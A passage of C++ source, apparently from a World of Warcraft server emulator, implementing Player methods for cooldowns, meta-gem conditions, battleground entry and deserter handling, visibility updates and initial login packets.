uint32 Player::GetMaxPersonalArenaRatingRequirement(uint32 minarenaslot)
{
// returns the maximal personal arena rating that can be used to purchase items requiring this condition
// the personal rating of the arena team must match the required limit as well
// so return max[in arenateams](min(personalrating[teamtype], teamrating[teamtype]))
uint32 max_personal_rating = 0;
for(int i = minarenaslot; i < MAX_ARENA_SLOT; ++i)
{
if (ArenaTeam * at = sObjectMgr.GetArenaTeamById(GetArenaTeamId(i)))
{
uint32 p_rating = GetArenaPersonalRating(i);
uint32 t_rating = at->GetRating();
p_rating = p_rating < t_rating ? p_rating : t_rating;
if (max_personal_rating < p_rating)
max_personal_rating = p_rating;
}
}
return max_personal_rating;
}
void Player::UpdateHomebindTime(uint32 time)
{
// GMs never get homebind timer online
if (m_InstanceValid || isGameMaster())
{
if (m_HomebindTimer) // instance valid, but timer not reset
{
// hide reminder
WorldPacket data(SMSG_RAID_GROUP_ONLY, 4+4);
data << uint32(0);
data << uint32(ERR_RAID_GROUP_NONE); // error used only when timer = 0
GetSession()->SendPacket(&data);
}
// instance is valid, reset homebind timer
m_HomebindTimer = 0;
}
else if (m_HomebindTimer > 0)
{
if (time >= m_HomebindTimer)
{
// teleport to nearest graveyard
RepopAtGraveyard();
}
else
m_HomebindTimer -= time;
}
else
{
// instance is invalid, start homebind timer
m_HomebindTimer = 15000;
// send message to player
WorldPacket data(SMSG_RAID_GROUP_ONLY, 4+4);
data << uint32(m_HomebindTimer);
data << uint32(ERR_RAID_GROUP_NONE); // error used only when timer = 0
GetSession()->SendPacket(&data);
DEBUG_LOG("PLAYER: Player '%s' (GUID: %u) will be teleported to homebind in 60 seconds", GetName(),GetGUIDLow());
}
}
void Player::UpdatePvP(bool state, bool ovrride)
{
if(!state || ovrride)
{
SetPvP(state);
pvpInfo.endTimer = 0;
}
else
{
if (pvpInfo.endTimer != 0)
pvpInfo.endTimer = time(NULL);
else
SetPvP(state);
}
}
void Player::AddSpellAndCategoryCooldowns(SpellEntry const* spellInfo, uint32 itemId, Spell* spell, bool infinityCooldown)
{
// init cooldown values
uint32 cat = 0;
int32 rec = -1;
int32 catrec = -1;
// some special item spells without correct cooldown in SpellInfo
// cooldown information stored in item prototype
// This used in same way in WorldSession::HandleItemQuerySingleOpcode data sending to client.
if (itemId)
{
if (ItemPrototype const* proto = ObjectMgr::GetItemPrototype(itemId))
{
for(int idx = 0; idx < 5; ++idx)
{
if (proto->Spells[idx].SpellId == spellInfo->Id)
{
cat = proto->Spells[idx].SpellCategory;
rec = proto->Spells[idx].SpellCooldown;
catrec = proto->Spells[idx].SpellCategoryCooldown;
break;
}
}
}
}
// if no cooldown found above then base at DBC data
if (rec < 0 && catrec < 0)
{
cat = spellInfo->Category;
rec = spellInfo->RecoveryTime;
catrec = spellInfo->CategoryRecoveryTime;
}
time_t curTime = time(NULL);
time_t catrecTime;
time_t recTime;
// overwrite time for selected category
if (infinityCooldown)
{
// use +MONTH as infinity mark for spell cooldown (will checked as MONTH/2 at save ans skipped)
// but not allow ignore until reset or re-login
catrecTime = catrec > 0 ? curTime+infinityCooldownDelay : 0;
recTime = rec > 0 ? curTime+infinityCooldownDelay : catrecTime;
}
else
{
// shoot spells used equipped item cooldown values already assigned in GetAttackTime(RANGED_ATTACK)
// prevent 0 cooldowns set by another way
if (rec <= 0 && catrec <= 0 && (cat == 76 || (IsAutoRepeatRangedSpell(spellInfo) && spellInfo->Id != SPELL_ID_AUTOSHOT)))
rec = GetAttackTime(RANGED_ATTACK);
// Now we have cooldown data (if found any), time to apply mods
if (rec > 0)
ApplySpellMod(spellInfo->Id, SPELLMOD_COOLDOWN, rec, spell);
if (catrec > 0)
ApplySpellMod(spellInfo->Id, SPELLMOD_COOLDOWN, catrec, spell);
// replace negative cooldowns by 0
if (rec < 0) rec = 0;
if (catrec < 0) catrec = 0;
// no cooldown after applying spell mods
if (rec == 0 && catrec == 0)
return;
catrecTime = catrec ? curTime+catrec/IN_MILLISECONDS : 0;
recTime = rec ? curTime+rec/IN_MILLISECONDS : catrecTime;
}
// self spell cooldown
if (recTime > 0)
AddSpellCooldown(spellInfo->Id, itemId, recTime);
// category spells
if (cat && catrec > 0)
{
SpellCategoryStore::const_iterator i_scstore = sSpellCategoryStore.find(cat);
if (i_scstore != sSpellCategoryStore.end())
{
for(SpellCategorySet::const_iterator i_scset = i_scstore->second.begin(); i_scset != i_scstore->second.end(); ++i_scset)
{
if (*i_scset == spellInfo->Id) // skip main spell, already handled above
continue;
AddSpellCooldown(*i_scset, itemId, catrecTime);
}
}
}
}
void Player::AddSpellCooldown(uint32 spellid, uint32 itemid, time_t end_time)
{
SpellCooldown sc;
sc.end = end_time;
sc.itemid = itemid;
MAPLOCK_WRITE(this, MAP_LOCK_TYPE_DEFAULT);
m_spellCooldowns[spellid] = sc;
}
void Player::SendCooldownEvent(SpellEntry const *spellInfo, uint32 itemId, Spell* spell)
{
// start cooldowns at server side, if any
AddSpellAndCategoryCooldowns(spellInfo, itemId, spell);
// Send activate cooldown timer (possible 0) at client side
WorldPacket data(SMSG_COOLDOWN_EVENT, (4+8));
data << uint32(spellInfo->Id);
data << GetObjectGuid();
SendDirectMessage(&data);
}
void Player::UpdatePotionCooldown(Spell* spell)
{
// no potion used in combat or still in combat
if(!m_lastPotionId || isInCombat())
return;
// Call not from spell cast, send cooldown event for item spells if no in combat
if(!spell)
{
// spell/item pair let set proper cooldown (except nonexistent charged spell cooldown spellmods for potions)
if (ItemPrototype const* proto = ObjectMgr::GetItemPrototype(m_lastPotionId))
for(int idx = 0; idx < 5; ++idx)
if (proto->Spells[idx].SpellId && proto->Spells[idx].SpellTrigger == ITEM_SPELLTRIGGER_ON_USE)
if (SpellEntry const* spellInfo = sSpellStore.LookupEntry(proto->Spells[idx].SpellId))
SendCooldownEvent(spellInfo,m_lastPotionId);
}
// from spell cases (m_lastPotionId set in Spell::SendSpellCooldown)
else
SendCooldownEvent(spell->m_spellInfo,m_lastPotionId,spell);
m_lastPotionId = 0;
}
//slot to be excluded while counting
bool Player::EnchantmentFitsRequirements(uint32 enchantmentcondition, int8 slot)
{
if(!enchantmentcondition)
return true;
SpellItemEnchantmentConditionEntry const *Condition = sSpellItemEnchantmentConditionStore.LookupEntry(enchantmentcondition);
if(!Condition)
return true;
uint8 curcount[4] = {0, 0, 0, 0};
//counting current equipped gem colors
for(uint8 i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
if (i == slot)
continue;
Item *pItem2 = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if (pItem2 && !pItem2->IsBroken() && pItem2->GetProto()->Socket[0].Color)
{
for(uint32 enchant_slot = SOCK_ENCHANTMENT_SLOT; enchant_slot < SOCK_ENCHANTMENT_SLOT+3; ++enchant_slot)
{
uint32 enchant_id = pItem2->GetEnchantmentId(EnchantmentSlot(enchant_slot));
if(!enchant_id)
continue;
SpellItemEnchantmentEntry const* enchantEntry = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if(!enchantEntry)
continue;
uint32 gemid = enchantEntry->GemID;
if(!gemid)
continue;
ItemPrototype const* gemProto = sItemStorage.LookupEntry<ItemPrototype>(gemid);
if(!gemProto)
continue;
GemPropertiesEntry const* gemProperty = sGemPropertiesStore.LookupEntry(gemProto->GemProperties);
if(!gemProperty)
continue;
uint8 GemColor = gemProperty->color;
for(uint8 b = 0, tmpcolormask = 1; b < 4; b++, tmpcolormask <<= 1)
{
if (tmpcolormask & GemColor)
++curcount[b];
}
}
}
}
bool activate = true;
for(int i = 0; i < 5; ++i)
{
if(!Condition->Color[i])
continue;
uint32 _cur_gem = curcount[Condition->Color[i] - 1];
// if have <CompareColor> use them as count, else use <value> from Condition
uint32 _cmp_gem = Condition->CompareColor[i] ? curcount[Condition->CompareColor[i] - 1]: Condition->Value[i];
switch(Condition->Comparator[i])
{
case 2: // requires less <color> than (<value> || <comparecolor>) gems
activate &= (_cur_gem < _cmp_gem) ? true : false;
break;
case 3: // requires more <color> than (<value> || <comparecolor>) gems
activate &= (_cur_gem > _cmp_gem) ? true : false;
break;
case 5: // requires at least <color> than (<value> || <comparecolor>) gems
activate &= (_cur_gem >= _cmp_gem) ? true : false;
break;
}
}
DEBUG_LOG("Checking Condition %u, there are %u Meta Gems, %u Red Gems, %u Yellow Gems and %u Blue Gems, Activate:%s", enchantmentcondition, curcount[0], curcount[1], curcount[2], curcount[3], activate ? "yes" : "no");
return activate;
}
void Player::CorrectMetaGemEnchants(uint8 exceptslot, bool apply)
{
//cycle all equipped items
for(uint32 slot = EQUIPMENT_SLOT_START; slot < EQUIPMENT_SLOT_END; ++slot)
{
//enchants for the slot being socketed are handled by Player::ApplyItemMods
if (slot == exceptslot)
continue;
Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, slot );
if(!pItem || !pItem->GetProto()->Socket[0].Color)
continue;
for(uint32 enchant_slot = SOCK_ENCHANTMENT_SLOT; enchant_slot < SOCK_ENCHANTMENT_SLOT+3; ++enchant_slot)
{
uint32 enchant_id = pItem->GetEnchantmentId(EnchantmentSlot(enchant_slot));
if(!enchant_id)
continue;
SpellItemEnchantmentEntry const* enchantEntry = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if(!enchantEntry)
continue;
uint32 condition = enchantEntry->EnchantmentCondition;
if (condition)
{
//was enchant active with/without item?
bool wasactive = EnchantmentFitsRequirements(condition, apply ? exceptslot : -1);
//should it now be?
if (wasactive != EnchantmentFitsRequirements(condition, apply ? -1 : exceptslot))
{
// ignore item gem conditions
//if state changed, (dis)apply enchant
ApplyEnchantment(pItem, EnchantmentSlot(enchant_slot), !wasactive, true, true);
}
}
}
}
}
//if false -> then toggled off if was on| if true -> toggled on if was off AND meets requirements
void Player::ToggleMetaGemsActive(uint8 exceptslot, bool apply)
{
//cycle all equipped items
for(int slot = EQUIPMENT_SLOT_START; slot < EQUIPMENT_SLOT_END; ++slot)
{
//enchants for the slot being socketed are handled by WorldSession::HandleSocketOpcode(WorldPacket& recv_data)
if (slot == exceptslot)
continue;
Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, slot );
if(!pItem || !pItem->GetProto()->Socket[0].Color) //if item has no sockets or no item is equipped go to next item
continue;
//cycle all (gem)enchants
for(uint32 enchant_slot = SOCK_ENCHANTMENT_SLOT; enchant_slot < SOCK_ENCHANTMENT_SLOT+3; ++enchant_slot)
{
uint32 enchant_id = pItem->GetEnchantmentId(EnchantmentSlot(enchant_slot));
if(!enchant_id) //if no enchant go to next enchant(slot)
continue;
SpellItemEnchantmentEntry const* enchantEntry = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if(!enchantEntry)
continue;
//only metagems to be (de)activated, so only enchants with condition
uint32 condition = enchantEntry->EnchantmentCondition;
if (condition)
ApplyEnchantment(pItem,EnchantmentSlot(enchant_slot), apply);
}
}
}
void Player::SetBattleGroundEntryPoint(bool forLFG)
{
m_bgData.forLFG = forLFG;
// Taxi path store
if (!m_taxi.empty())
{
m_bgData.mountSpell = 0;
m_bgData.taxiPath[0] = m_taxi.GetTaxiSource();
m_bgData.taxiPath[1] = m_taxi.GetTaxiDestination();
// On taxi we don't need check for dungeon
m_bgData.joinPos = WorldLocation(GetMapId(), GetPositionX(), GetPositionY(), GetPositionZ(), GetOrientation());
m_bgData.m_needSave = true;
return;
}
else
{
m_bgData.ClearTaxiPath();
// Mount spell id storing
if (IsMounted())
{
AuraList const& auras = GetAurasByType(SPELL_AURA_MOUNTED);
if (!auras.empty())
m_bgData.mountSpell = (*auras.begin())->GetId();
}
else
m_bgData.mountSpell = 0;
// If map is dungeon find linked graveyard
if (GetMap()->IsDungeon())
{
if (const WorldSafeLocsEntry* entry = sObjectMgr.GetClosestGraveYard(GetPositionX(), GetPositionY(), GetPositionZ(), GetMapId(), GetTeam()))
{
m_bgData.joinPos = WorldLocation(entry->map_id, entry->x, entry->y, entry->z, 0.0f);
m_bgData.m_needSave = true;
return;
}
else
sLog.outError("SetBattleGroundEntryPoint: Dungeon map %u has no linked graveyard, setting home location as entry point.", GetMapId());
}
// If new entry point is not BG or arena set it
else if (!GetMap()->IsBattleGroundOrArena())
{
m_bgData.joinPos = WorldLocation(GetMapId(), GetPositionX(), GetPositionY(), GetPositionZ(), GetOrientation());
m_bgData.m_needSave = true;
return;
}
}
// In error cases use homebind position
m_bgData.joinPos = WorldLocation(m_homebindMapId, m_homebindX, m_homebindY, m_homebindZ, 0.0f);
m_bgData.m_needSave = true;
}
void Player::LeaveBattleground(bool teleportToEntryPoint)
{
if (BattleGround *bg = GetBattleGround())
{
bg->RemovePlayerAtLeave(GetObjectGuid(), teleportToEntryPoint, true);
// call after remove to be sure that player resurrected for correct cast
if ( bg->isBattleGround() && !isGameMaster() && sWorld.getConfig(CONFIG_BOOL_BATTLEGROUND_CAST_DESERTER) )
{
if ( bg->GetStatus() == STATUS_IN_PROGRESS || bg->GetStatus() == STATUS_WAIT_JOIN )
{
//lets check if player was teleported from BG and schedule delayed Deserter spell cast
if (IsBeingTeleportedFar())
{
ScheduleDelayedOperation(DELAYED_SPELL_CAST_DESERTER);
return;
}
CastSpell(this, 26013, true); // Deserter
}
}
// Prevent more execute BG update codes
if (bg->isBattleGround() && bg->GetStatus() == STATUS_IN_PROGRESS && !bg->GetPlayersSize())
bg->SetStatus(STATUS_WAIT_LEAVE);
}
}
bool Player::CanJoinToBattleground() const
{
// check Deserter debuff
if (GetDummyAura(26013))
return false;
return true;
}
bool Player::CanReportAfkDueToLimit()
{
// a player can complain about 15 people per 5 minutes
if (m_bgData.bgAfkReportedCount++ >= 15)
return false;
return true;
}
///This player has been blamed to be inactive in a battleground
void Player::ReportedAfkBy(Player* reporter)
{
BattleGround* bg = GetBattleGround();
// Battleground also must be in progress!
if (!bg || bg != reporter->GetBattleGround() || GetTeam() != reporter->GetTeam() || bg->GetStatus() != STATUS_IN_PROGRESS)
return;
// check if player has 'Idle' or 'Inactive' debuff
if (m_bgData.bgAfkReporter.find(reporter->GetGUIDLow()) == m_bgData.bgAfkReporter.end() && !HasAura(43680, EFFECT_INDEX_0) && !HasAura(43681, EFFECT_INDEX_0) && reporter->CanReportAfkDueToLimit())
{
m_bgData.bgAfkReporter.insert(reporter->GetGUIDLow());
// 3 players have to complain to apply debuff
if (m_bgData.bgAfkReporter.size() >= 3)
{
// cast 'Idle' spell
CastSpell(this, 43680, true);
m_bgData.bgAfkReporter.clear();
}
}
}
bool Player::IsVisibleInGridForPlayer( Player* pl ) const
{
// gamemaster in GM mode see all, including ghosts
if (pl->isGameMaster() && GetSession()->GetSecurity() <= pl->GetSession()->GetSecurity())
return true;
// player see dead player/ghost from own group/raid
if (IsInSameRaidWith(pl))
return true;
// Live player see live player or dead player with not realized corpse
if (pl->isAlive() || pl->m_deathTimer > 0)
return isAlive() || m_deathTimer > 0;
// Ghost see other friendly ghosts, that's for sure
if (!(isAlive() || m_deathTimer > 0) && IsFriendlyTo(pl))
return true;
// Dead player see live players near own corpse
if (isAlive())
{
if (Corpse *corpse = pl->GetCorpse())
{
// 20 - aggro distance for same level, 25 - max additional distance if player level less that creature level
if (corpse->IsWithinDistInMap(this, (20 + 25) * sWorld.getConfig(CONFIG_FLOAT_RATE_CREATURE_AGGRO)))
return true;
}
}
// and not see any other
return false;
}
bool Player::IsVisibleGloballyFor( Player* u ) const
{
if (!u)
return false;
// Always can see self
if (u==this)
return true;
// Visible units, always are visible for all players
if (GetVisibility() == VISIBILITY_ON)
return true;
// GMs are visible for higher gms (or players are visible for gms)
if (u->GetSession()->GetSecurity() > SEC_PLAYER)
return GetSession()->GetSecurity() <= u->GetSession()->GetSecurity();
// non faction visibility non-breakable for non-GMs
if (GetVisibility() == VISIBILITY_OFF)
return false;
// non-gm stealth/invisibility not hide from global player lists
return true;
}
template<class T>
inline void BeforeVisibilityDestroy(T* /*t*/, Player* /*p*/)
{
}
template<>
inline void BeforeVisibilityDestroy<Creature>(Creature* t, Player* p)
{
if (p->GetPetGuid() == t->GetObjectGuid() && ((Creature*)t)->IsPet())
((Pet*)t)->Unsummon(PET_SAVE_REAGENTS);
}
void Player::UpdateVisibilityOf(WorldObject const* viewPoint, WorldObject* target)
{
if (HaveAtClient(target))
{
if(!target->isVisibleForInState(this, viewPoint, true))
{
ObjectGuid t_guid = target->GetObjectGuid();
if (target->GetTypeId()==TYPEID_UNIT)
{
BeforeVisibilityDestroy<Creature>((Creature*)target,this);
// at remove from map (destroy) show kill animation (in different out of range/stealth case)
target->DestroyForPlayer(this, !target->IsInWorld() && ((Creature*)target)->isDead());
}
else
target->DestroyForPlayer(this);
m_clientGUIDs.erase(t_guid);
DEBUG_FILTER_LOG(LOG_FILTER_VISIBILITY_CHANGES, "%s out of range for player %u. Distance = %f",t_guid.GetString().c_str(),GetGUIDLow(),GetDistance(target));
}
}
else
{
if (target->isVisibleForInState(this, viewPoint, false))
{
target->SendCreateUpdateToPlayer(this);
if (target->GetTypeId()!=TYPEID_GAMEOBJECT||!((GameObject*)target)->IsTransport())
m_clientGUIDs.insert(target->GetObjectGuid());
DEBUG_FILTER_LOG(LOG_FILTER_VISIBILITY_CHANGES, "Object %u (Type: %u) is visible now for player %u. Distance = %f",target->GetGUIDLow(),target->GetTypeId(),GetGUIDLow(),GetDistance(target));
// target aura duration for caster show only if target exist at caster client
// send data at target visibility change (adding to client)
if (target!=this && target->isType(TYPEMASK_UNIT))
SendAurasForTarget((Unit*)target);
}
}
}
template<class T>
inline void UpdateVisibilityOf_helper(ObjectGuidSet& s64, T* target)
{
s64.insert(target->GetObjectGuid());
}
template<>
inline void UpdateVisibilityOf_helper(ObjectGuidSet& s64, GameObject* target)
{
if(!target->IsTransport())
s64.insert(target->GetObjectGuid());
}
template<class T>
void Player::UpdateVisibilityOf(WorldObject const* viewPoint, T* target, UpdateData& data, std::set<WorldObject*>& visibleNow)
{
if (HaveAtClient(target))
{
if(!target->isVisibleForInState(this,viewPoint,true))
{
BeforeVisibilityDestroy<T>(target,this);
ObjectGuid t_guid = target->GetObjectGuid();
target->BuildOutOfRangeUpdateBlock(&data);
m_clientGUIDs.erase(t_guid);
DEBUG_FILTER_LOG(LOG_FILTER_VISIBILITY_CHANGES, "%s is out of range for %s. Distance = %f", t_guid.GetString().c_str(), GetGuidStr().c_str(), GetDistance(target));
}
}
else
{
if (target->isVisibleForInState(this,viewPoint,false))
{
visibleNow.insert(target);
target->BuildCreateUpdateBlockForPlayer(&data, this);
UpdateVisibilityOf_helper(m_clientGUIDs,target);
DEBUG_FILTER_LOG(LOG_FILTER_VISIBILITY_CHANGES, "%s is visible now for %s. Distance = %f", target->GetGuidStr().c_str(), GetGuidStr().c_str(), GetDistance(target));
}
}
}
template void Player::UpdateVisibilityOf(WorldObject const* viewPoint, Player* target, UpdateData& data, std::set<WorldObject*>& visibleNow);
template void Player::UpdateVisibilityOf(WorldObject const* viewPoint, Creature* target, UpdateData& data, std::set<WorldObject*>& visibleNow);
template void Player::UpdateVisibilityOf(WorldObject const* viewPoint, Corpse* target, UpdateData& data, std::set<WorldObject*>& visibleNow);
template void Player::UpdateVisibilityOf(WorldObject const* viewPoint, GameObject* target, UpdateData& data, std::set<WorldObject*>& visibleNow);
template void Player::UpdateVisibilityOf(WorldObject const* viewPoint, DynamicObject* target, UpdateData& data, std::set<WorldObject*>& visibleNow);
void Player::SetPhaseMask(uint32 newPhaseMask, bool update)
{
// GM-mode have mask PHASEMASK_ANYWHERE always
if (isGameMaster())
newPhaseMask = PHASEMASK_ANYWHERE;
// phase auras normally not expected at BG but anyway better check
if (BattleGround *bg = GetBattleGround())
bg->EventPlayerDroppedFlag(this);
Unit::SetPhaseMask(newPhaseMask, update);
GetSession()->SendSetPhaseShift(GetPhaseMask());
}
void Player::InitPrimaryProfessions()
{
uint32 maxProfs = GetSession()->GetSecurity() < AccountTypes(sWorld.getConfig(CONFIG_UINT32_TRADE_SKILL_GMIGNORE_MAX_PRIMARY_COUNT))
? sWorld.getConfig(CONFIG_UINT32_MAX_PRIMARY_TRADE_SKILL) : 10;
SetFreePrimaryProfessions(maxProfs);
}
void Player::SendComboPoints(ObjectGuid targetGuid, uint8 combopoints)
{
Unit* combotarget = GetMap()->GetUnit(targetGuid);
if (combotarget)
{
WorldPacket data(SMSG_UPDATE_COMBO_POINTS, combotarget->GetPackGUID().size()+1);
data << combotarget->GetPackGUID();
data << uint8(combopoints);
GetSession()->SendPacket(&data);
}
/*else
{
// can be NULL, and then points=0. Use unknown; to reset points of some sort?
data << PackedGuid();
data << uint8(0);
GetSession()->SendPacket(&data);
}*/
}
void Player::SendPetComboPoints(Unit* pet, ObjectGuid targetGuid, uint8 combopoints)
{
Unit* combotarget = pet ? pet->GetMap()->GetUnit(targetGuid) : NULL;
if (pet && combotarget)
{
WorldPacket data(SMSG_PET_UPDATE_COMBO_POINTS, combotarget->GetPackGUID().size()+pet->GetPackGUID().size()+1);
data << pet->GetPackGUID();
data << combotarget->GetPackGUID();
data << uint8(combopoints);
GetSession()->SendPacket(&data);
}
}
void Player::SetGroup(Group *group, int8 subgroup)
{
if (group == NULL)
m_group.unlink();
else
{
// never use SetGroup without a subgroup unless you specify NULL for group
MANGOS_ASSERT(subgroup >= 0);
m_group.link(group, this);
m_group.setSubGroup((uint8)subgroup);
}
}
void Player::SendInitialPacketsBeforeAddToMap()
{
GetSocial()->SendSocialList();
// Homebind
WorldPacket data(SMSG_BINDPOINTUPDATE, 5*4);
data << m_homebindX << m_homebindY << m_homebindZ;
data << (uint32) m_homebindMapId;
data << (uint32) m_homebindAreaId;
GetSession()->SendPacket(&data);
// SMSG_SET_PROFICIENCY
// SMSG_SET_PCT_SPELL_MODIFIER
// SMSG_SET_FLAT_SPELL_MODIFIER
SendTalentsInfoData(false);
data.Initialize(SMSG_INSTANCE_DIFFICULTY, 4+4);
data << uint32(GetMap()->GetDifficulty());
data << uint32(0);
GetSession()->SendPacket(&data);
SendInitialSpells();
data.Initialize(SMSG_SEND_UNLEARN_SPELLS, 4);
data << uint32(0); // count, for(count) uint32;
GetSession()->SendPacket(&data);
SendInitialActionButtons();
m_reputationMgr.SendInitialReputations();
if(!isAlive())
SendCorpseReclaimDelay(true);
SendInitWorldStates(GetZoneId(), GetAreaId());
SendEquipmentSetList();
m_achievementMgr.SendAllAchievementData();
data.Initialize(SMSG_LOGIN_SETTIMESPEED, 4 + 4 + 4);
data << uint32(secsToTimeBitFields(sWorld.GetGameTime()));
data << (float)0.01666667f; // game speed
data << uint32(0); // added in 3.1.2
GetSession()->SendPacket( &data );
// SMSG_TALENTS_INFO x 2 for pet (unspent points and talents in separate packets...)
// SMSG_PET_GUIDS
// SMSG_POWER_UPDATE
// set fly flag if in fly form or taxi flight to prevent visually drop at ground in showup moment
if (IsFreeFlying() || IsTaxiFlying())
m_movementInfo.AddMovementFlag(MOVEFLAG_FLYING);
SetMover(this);
}
void Player::SendInitialPacketsAfterAddToMap()
{
// update zone
uint32 newzone, newarea;
GetZoneAndAreaId(newzone,newarea);
UpdateZone(newzone,newarea); // also call SendInitWorldStates();
ResetTimeSync();
SendTimeSync();
CastSpell(this, 836, true); // LOGINEFFECT
// set some aura effects that send packet to player client after add player to map
// SendMessageToSet not send it to player not it map, only for aura that not changed anything at re-apply
// same auras state lost at far teleport, send it one more time in this case also
static const AuraType auratypes[] =
{
SPELL_AURA_MOD_FEAR, SPELL_AURA_TRANSFORM, SPELL_AURA_WATER_WALK,
SPELL_AURA_FEATHER_FALL, SPELL_AURA_HOVER, SPELL_AURA_SAFE_FALL,
SPELL_AURA_FLY, SPELL_AURA_MOD_FLIGHT_SPEED_MOUNTED, SPELL_AURA_NONE
};
for(AuraType const* itr = &auratypes[0]; itr && itr[0] != SPELL_AURA_NONE; ++itr)
{
Unit::AuraList const& auraList = GetAurasByType(*itr);
if(!auraList.empty())
auraList.front()->ApplyModifier(true,true);
}
if (HasAuraType(SPELL_AURA_MOD_STUN))
SetMovement(MOVE_ROOT);
// manual send package (have code in ApplyModifier(true,true); that don't must be re-applied.
if (HasAuraType(SPELL_AURA_MOD_ROOT))
{
WorldPacket data2(SMSG_FORCE_MOVE_ROOT, 10);
data2 << GetPackGUID();
data2 << (uint32)2;
SendMessageToSet(&data2,true);
}
if (GetVehicle())
{
WorldPacket data3(SMSG_FORCE_MOVE_ROOT, 10);
data3 << GetPackGUID();
data3 << uint32((m_movementInfo.GetVehicleSeatFlags() & SEAT_FLAG_CAN_CAST) ? 2 : 0);
SendMessageToSet(&data3,true);
}
SendAurasForTarget(this);
SendEnchantmentDurations(); // must be after add to map
SendItemDurations(); // must be after add to map
}
void Player::SendUpdateToOutOfRangeGroupMembers()
{
if (m_groupUpdateMask == GROUP_UPDATE_FLAG_NONE)
return;
if (Group* group = GetGroup())
group->UpdatePlayerOutOfRange(this);
m_groupUpdateMask = GROUP_UPDATE_FLAG_NONE;
m_auraUpdateMask = 0;
if (Pet *pet = GetPet())
pet->ResetAuraUpdateMask();
}
void Player::SendTransferAborted(uint32 mapid, uint8 reason, uint8 arg)
{
WorldPacket data(SMSG_TRANSFER_ABORTED, 4+2);
data << uint32(mapid);
data << uint8(reason); // transfer abort reason
switch(reason)
{
case TRANSFER_ABORT_INSUF_EXPAN_LVL:
case TRANSFER_ABORT_DIFFICULTY:
case TRANSFER_ABORT_UNIQUE_MESSAGE:
data << uint8(arg);
break;
}
GetSession()->SendPacket(&data);
}
void Player::SendInstanceResetWarning( uint32 mapid, Difficulty difficulty, uint32 time )
{
// type of warning, based on the time remaining until reset
uint32 type;
if (time > 3600)
type = RAID_INSTANCE_WELCOME;
else if (time > 900 && time <= 3600)
type = RAID_INSTANCE_WARNING_HOURS;
else if (time > 300 && time <= 900)
type = RAID_INSTANCE_WARNING_MIN;
else
type = RAID_INSTANCE_WARNING_MIN_SOON;
WorldPacket data(SMSG_RAID_INSTANCE_MESSAGE, 4+4+4+4);
data << uint32(type);
data << uint32(mapid);
data << uint32(difficulty); // difficulty
data << uint32(time);
if (type == RAID_INSTANCE_WELCOME)
{
data << uint8(0); // is your (1)
data << uint8(0); // is extended (1), ignored if prev field is 0
}
GetSession()->SendPacket(&data);
}
void Player::ApplyEquipCooldown( Item * pItem )
{
if (pItem->GetProto()->Flags & ITEM_FLAG_NO_EQUIP_COOLDOWN)
return;
for(int i = 0; i < MAX_ITEM_PROTO_SPELLS; ++i)
{
_Spell const& spellData = pItem->GetProto()->Spells[i];
// no spell
if ( !spellData.SpellId )
continue;
// wrong triggering type (note: ITEM_SPELLTRIGGER_ON_NO_DELAY_USE not have cooldown)
if ( spellData.SpellTrigger != ITEM_SPELLTRIGGER_ON_USE )
continue;
AddSpellCooldown(spellData.SpellId, pItem->GetEntry(), time(NULL) + 30);
WorldPacket data(SMSG_ITEM_COOLDOWN, 12);
data << ObjectGuid(pItem->GetObjectGuid());
data << uint32(spellData.SpellId);
GetSession()->SendPacket(&data);
}
}
void Player::resetSpells()
{
// not need after this call
if (HasAtLoginFlag(AT_LOGIN_RESET_SPELLS))
RemoveAtLoginFlag(AT_LOGIN_RESET_SPELLS,true);
// make full copy of map (spells removed and marked as deleted at another spell remove
// and we can't use original map for safe iterative with visit each spell at loop end
PlayerSpellMap smap = GetSpellMap();
for(PlayerSpellMap::const_iterator iter = smap.begin();iter != smap.end(); ++iter)
removeSpell(iter->first,false,false); // only iter->first can be accessed, object by iter->second can be deleted already
learnDefaultSpells();
learnQuestRewardedSpells();
}
void Player::learnDefaultSpells()
{
// learn default race/class spells
PlayerInfo const *info = sObjectMgr.GetPlayerInfo(getRace(),getClass());
for (PlayerCreateInfoSpells::const_iterator itr = info->spell.begin(); itr!=info->spell.end(); ++itr)
{
uint32 tspell = *itr;
DEBUG_LOG("PLAYER (Class: %u Race: %u): Adding initial spell, id = %u",uint32(getClass()),uint32(getRace()), tspell);
if(!IsInWorld()) // will send in INITIAL_SPELLS in list anyway at map add
addSpell(tspell, true, true, true, false);
else // but send in normal spell in game learn case
learnSpell(tspell, true);
}
}
void Player::learnQuestRewardedSpells(Quest const* quest)
{
uint32 spell_id = quest->GetRewSpellCast();
// skip quests without rewarded spell
if ( !spell_id )
return;
SpellEntry const *spellInfo = sSpellStore.LookupEntry(spell_id);
if(!spellInfo)
return;
// check learned spells state
bool found = false;
for(int i=0; i < MAX_EFFECT_INDEX; ++i)
{
if (spellInfo->Effect[i] == SPELL_EFFECT_LEARN_SPELL && !HasSpell(spellInfo->EffectTriggerSpell[i]))
{
found = true;
break;
}
}
// skip quests with not teaching spell or already known spell
if(!found)
return;
// prevent learn non first rank unknown profession and second specialization for same profession)
uint32 learned_0 = spellInfo->EffectTriggerSpell[EFFECT_INDEX_0];
if ( sSpellMgr.GetSpellRank(learned_0) > 1 && !HasSpell(learned_0) )
{
// not have first rank learned (unlearned prof?)
uint32 first_spell = sSpellMgr.GetFirstSpellInChain(learned_0);
if ( !HasSpell(first_spell) )
return;
SpellEntry const *learnedInfo = sSpellStore.LookupEntry(learned_0);
if(!learnedInfo)
return;
// specialization
if (learnedInfo->Effect[EFFECT_INDEX_0] == SPELL_EFFECT_TRADE_SKILL && learnedInfo->Effect[EFFECT_INDEX_1] == 0)
{
// search other specialization for same prof
for(PlayerSpellMap::const_iterator itr = m_spells.begin(); itr != m_spells.end(); ++itr)
{
if (itr->second.state == PLAYERSPELL_REMOVED || itr->first==learned_0)
continue;
SpellEntry const *itrInfo = sSpellStore.LookupEntry(itr->first);
if(!itrInfo)
return;
// compare only specializations
if (itrInfo->Effect[EFFECT_INDEX_0] != SPELL_EFFECT_TRADE_SKILL || itrInfo->Effect[EFFECT_INDEX_1] != 0)
continue;
// compare same chain spells
if (sSpellMgr.GetFirstSpellInChain(itr->first) != first_spell)
continue;
